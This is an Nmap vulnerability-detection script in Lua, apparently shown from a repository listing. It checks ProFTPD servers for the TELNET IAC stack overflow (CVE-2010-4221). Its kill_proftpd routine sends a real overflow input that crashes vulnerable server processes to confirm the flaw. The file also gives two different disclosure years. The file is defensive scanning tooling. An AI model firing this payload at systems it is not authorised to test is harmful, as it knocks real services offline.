coolbins/system/usr/share/nmap/scripts/ftp-vuln-cve2010-4221.nse

200 lines
5.8 KiB
Lua

local ftp = require "ftp"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local stringaux = require "stringaux"
local vulns = require "vulns"
description = [[
Checks for a stack-based buffer overflow in the ProFTPD server, version
between 1.3.2rc3 and 1.3.3b. By sending a large number of TELNET_IAC escape
sequence, the proftpd process miscalculates the buffer length, and a remote
attacker will be able to corrupt the stack and execute arbitrary code within
the context of the proftpd process (CVE-2010-4221). Authentication is not
required to exploit this vulnerability.
Reference:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
* http://www.exploit-db.com/exploits/15449/
* http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac
]]
---
-- @usage
-- nmap --script ftp-vuln-cve2010-4221 -p 21 <host>
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-vuln-cve2010-4221:
-- | VULNERABLE:
-- | ProFTPD server TELNET IAC stack overflow
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2010-4221 BID:44562
-- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- | Description:
-- | ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
-- | stack-based buffer overflow. By sending a large number of TELNET_IAC
-- | escape sequence, a remote attacker will be able to corrupt the stack and
-- | execute arbitrary code.
-- | Disclosure date: 2010-11-02
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
-- | http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac
-- | http://bugs.proftpd.org/show_bug.cgi?id=3521
-- |_ https://www.securityfocus.com/bid/44562
--
author = "Djalal Harouni"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}
portrule = function (host, port)
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
return false
end
return shortport.port_or_service(21, "ftp")(host, port)
end
local function get_proftpd_banner(banner)
local version
if banner then
version = banner:match("ProFTPD%s([%w%.]+)%s")
end
return banner, version
end
local function ftp_finish(socket, status, message)
if socket then
socket:close()
end
return status, message
end
-- Returns true if the provided version is vulnerable
local function is_version_vulnerable(version)
local vers = stringaux.strsplit("%.", version)
if #vers > 0 and vers[3] then
local relnum = string.sub(vers[3], 1, 1)
local extra = string.sub(vers[3], 2)
if relnum == '2' then
if extra:len() > 0 then
if extra:match("rc%d") then
local v = string.sub(extra, 3)
if v and tonumber(v) > 2 then
return true
end
else
return true
end
end
elseif relnum == '3' then
if extra:len() == 0 or extra:match("[abrc]") then
return true
end
end
end
return false
end
-- Returns true, true if the ProFTPD child was killed
local function kill_proftpd(socket)
local killed = false
local TELNET_KILL = '\000'..'\255' -- TELNET_DUMMY..TELNET_IAC
stdnse.debug2("sending evil TELNET_IAC commands.")
local st, ret = socket:send(string.rep(TELNET_KILL, 4069)..
'\255'..string.rep("Nmap", 256).."\n")
if not st then
return st, ret
end
-- We should receive command error if it's not vulnerable
st, ret = socket:receive_lines(1)
if not st then
if ret == "EOF" then -- "connection closed"
stdnse.debug2("remote proftpd child was killed.")
killed = true
else
return st, ret
end
end
return true, killed
end
local function check_proftpd(ftp_opts)
local ftp_server = {}
local socket, code, message = ftp.connect(ftp_opts.host, ftp_opts.port)
if not socket then
return socket, code
end
ftp_server.banner, ftp_server.version = get_proftpd_banner(message)
if not ftp_server.banner then
return ftp_finish(socket, false, "failed to get FTP banner.")
elseif not ftp_server.banner:match("ProFTPD") then
return ftp_finish(socket, false, "not a ProFTPD server.")
end
local vuln = ftp_opts.vuln
-- check if this version is vulnerable
if ftp_server.version then
if not is_version_vulnerable(ftp_server.version) then
vuln.state = vulns.STATE.NOT_VULN
return ftp_finish(socket, true)
end
vuln.state = vulns.STATE.LIKELY_VULN
end
local status, killed = kill_proftpd(socket)
if not status then
return ftp_finish(socket, false, killed)
elseif killed then
vuln.state = vulns.STATE.VULN
elseif not vuln.state then
vuln.state = vulns.STATE.NOT_VULN
end
return ftp_finish(socket, true)
end
action = function(host, port)
local ftp_opts = {
host = host,
port = port,
vuln = {
title = 'ProFTPD server TELNET IAC stack overflow',
IDS = {CVE = 'CVE-2010-4221', BID = '44562'},
risk_factor = "High",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
stack-based buffer overflow. By sending a large number of TELNET_IAC
escape sequence, a remote attacker will be able to corrupt the stack and
execute arbitrary code.]],
references = {
'http://bugs.proftpd.org/show_bug.cgi?id=3521',
'http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac',
},
dates = {
disclosure = {year = 2011, month = 11, day = 02},
},
}
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local status, err = check_proftpd(ftp_opts)
if not status then
stdnse.debug1("%s", err)
return nil
end
return report:make_output(ftp_opts.vuln)
end